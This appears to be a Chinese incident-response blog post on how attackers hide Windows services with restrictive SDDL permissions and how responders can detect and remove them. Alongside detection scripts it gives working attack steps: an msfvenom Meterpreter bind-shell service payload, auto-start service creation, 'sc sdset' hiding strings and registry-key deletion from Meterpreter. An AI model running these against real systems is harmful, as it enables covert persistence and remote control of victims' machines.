查看原文
其他

服务隐藏与排查 | Windows 应急响应

NOP Team NOP Team 2024-01-18

0x00 简介

攻击者通过创建服务进行权限维持过程中,常常会通过一些手段隐藏服务,本文主要演示通过配置访问控制策略来实现隐藏的方式以及排查方法的探索

不包含通过修改内存中链表进行隐藏的方式

0x01 创建服务

直接选择默认的 XblGameSave 服务,这个服务为 Xbox Live 可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live 或从 Xbox Live 下载。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XblGameSave
sc qc XblGameSave

0x02 查询服务权限设置

sc sdshow "XblGameSave"
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL

具体含义可以参考

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings

https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights

可以通过一些 SDDL 解析工具进行查看

https://github.com/canix1/SDDL-Converter

是一个 powershell 脚本,右键执行

SDDL 放到其中进行解析

这样看起来比较直观

0x03 修改服务权限设置

sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

0x04 测试隐藏效果

1. services.msc

2. sc

sc queryex | findstr "XblGameSave"
sc query "XblGameSave"

可以看到,常规检查的时候,无法直接看到 XblGameSave

通过 sc query 指定名称查找显示的是 拒绝访问

通过 sc qc 指定名称查找能够显示出正常内容

如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到

3. PowerShell

Get-Service | findstr "XblGameSave"
Get-Service -Name "XblGameSave"

指定名称查询都显示找不到任何服务

4. wmic

wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description

5. System Informer

https://systeminformer.sourceforge.io/

Process Hacker 的升级版

也看不到

6. 注册表

可以看到,注册表能够看到该服务,此时注册表多了一项 Security

但是不只这一个注册表有 Security ,所以也不好粗暴地作为评判依据

0x05 思考排查方法

方法一 枚举法

按照计划任务隐藏时候的思路,先看一下 sc query 查询不存在的服务时报错是什么

这里就可以看出区别,当然,完全可以用 sc qc 查询做对比,可能更好

这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限

方法二 高权限查看法

这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root 都没用,我们分析一下刚才的权限设置

这里似乎对 SYSTEM 并没有限制,那我们使用 SYSTEM 权限执行这些常规检查是否可以看到呢

0x06 枚举法

思路就是先获取注册表中服务名称,之后通过 sc query 进行查询,根据反馈进行判断

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

$maliciousServices = foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1

if ($queryOutput -like "*拒绝访问*") {
$configOutput = sc.exe qc $service

[PSCustomObject]@{
ServiceName = $service
Status = "拒绝访问"
Config = $configOutput
}
}
}

if ($maliciousServices) {
Write-Host "发现以下恶意服务:"
$maliciousServices | Format-Table -AutoSize -Property ServiceName, Status

foreach ($service in $maliciousServices) {
Write-Host "--------------------------------------------------"
Write-Host "Service Name: $($service.ServiceName)"
Write-Host "Status: $($service.Status)"
Write-Host "Service Config:"
$configLines = $service.Config -split "`n"
$configLines | ForEach-Object {
$configLine = $_.Trim()
if ($configLine -ne "" -and $configLine -notlike "[*]*") {
Write-Host $configLine
}
}
Write-Host "--------------------------------------------------"
}
} else {
Write-Host "未发现恶意服务."
}

当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1

if ($queryOutput -like "*拒绝访问*") {
Write-Output $service
}
}

0x07 高权限法

通过 PsExec64.exe 来获取 SYSTEM 权限

PsExec64.exeSysinternalsSuite 套件中一款工具

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite

PsExec64.exe -i -s cmd

PsExec 似乎会导致输入法部分功能出现问题

尝试通过 SYSTEM 权限的 cmd 进行查询

sc queryex | findstr "XblGameSave"

sc 看不到隐藏的服务

尝试通过 SYSTEM 启动 services.msc

services.msc 看不到

powershell 看不到

wmic 看不到

创建低权限的用户组和新用户也不行

看来高权限法不行

0x08 删除服务

经过枚举法,已经获取到服务名称,现在通过 sc sdset 设置权限

sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

这样就可以通过 services.msc 进行管理了

删除服务

sc delete "ServiceName"

0x09 删除注册表文件夹会怎么样

1. 创建木马

这次使用 msf 生成一个服务木马来模拟服务

msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe

注意,这里指定的文件类型是 exe-serviceMSF 专门为服务准备的一类木马,中文资料上提到这个事极少

2. 创建服务

sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem

创建一个名为 test 的服务,开机自启动执行木马程序,监听 4455 端口

启动服务测试一下

sc start test

3. MSF 连接木马

msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhost 10.211.55.6
set lport 4455
exploit

服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接

再次获取 shell,服务自启动没问题

4. 观察 MSF 服务情况

再次重启服务器,登录后查看服务信息如下

从服务来看 test 服务已经停止了

从进程角度来看

没有主动监听shell 相关进程

通过 MSF 进行连接

服务监听是存在的

从网络层面看

可以看到 MSF 与受害主机之间的连接

通过 wmic 查看详细情况

wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list

这样看来 exe-service 生成的是一个 dll 文件

5. 通过 SDDL 设置隐藏服务

sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

此时已经 Services.msc 已经看不到 test 服务了,这个上面我们已经测试过了

获得的 shell 不受影响

6. 尝试删除注册表项

尝试在 Meterpreter 中远程完成删除

reg deletekey -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test"

注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了

服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用

  • sc qc 进行查询显示找不到指定的文件

  • sc query 显示还是拒绝访问

尝试重启服务器

服务已经不存在了

0x10 思考排查方法

一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?

注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧

1. 进程角度

服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了

当然,可以把 Rundll32.exe 作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL 位置,而且感觉不太严谨

2. 日志查询

通过日志 Windows 日志 -> 系统

其中来源为 Service Control Manager 的日志会记录服务的创建与执行

3. Windows API

如果 Windows API

#include <iostream>
#include <windows.h>
#include <winsvc.h>

int main()
{
    SC_HANDLE schSCManager = OpenSCManager(NULLNULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (schSCManager == NULL)
    {
        std::cout << "Failed to open Service Control Manager." << std::endl;
        return 1;
    }

    DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
    EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        NULL,
        0,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    );

    LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
    if (lpServices == NULL)
    {
        std::cout << "Failed to allocate memory." << std::endl;
        CloseServiceHandle(schSCManager);
        return 1;
    }

    if (!EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        (LPBYTE)lpServices,
        dwBytesNeeded,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    ))
    {
        std::cout << "Failed to enumerate services." << std::endl;
        free(lpServices);
        CloseServiceHandle(schSCManager);
        return 1;
    }

    std::cout << "Services:" << std::endl;
    for (DWORD i = 0; i < dwServicesReturned; i++)
    {
        std::wstring serviceName(lpServices[i].lpServiceName);
        std::wcout << serviceName << std::endl;
    }

    free(lpServices);
    CloseServiceHandle(schSCManager);

    return 0;
}

经过实验, Windows API 获取不到,即使是 SYSTEM 权限也查询不到

4. sc

sc 的命令报错意味着其实 sc 是可以知道 test 的存在的

但是这里有个问题

  • 一种情况是 sc 能够获取到服务列表,之后查询 test 是否存在
  • 一种情况是 sc 获取不到服务列表,但是可以将服务名称提交,之后返回信息

如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举

由于 Windows 并不开源,我们无法直接知道 sc 到底是怎么做的

5. 通过内存获取

查阅一些资料后得知,服务信息应该归 SCM 来管,具体落到进程上就是 services.exe

但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息

0x11 删除服务

只通过 SDDL 进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了

对于进行了 SDDL 同时删除了注册表项的服务,需要通过重启来进行删除

往期文章



有态度,不苟同
继续滑动看下一个

服务隐藏与排查 | Windows 应急响应

NOP Team NOP Team
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存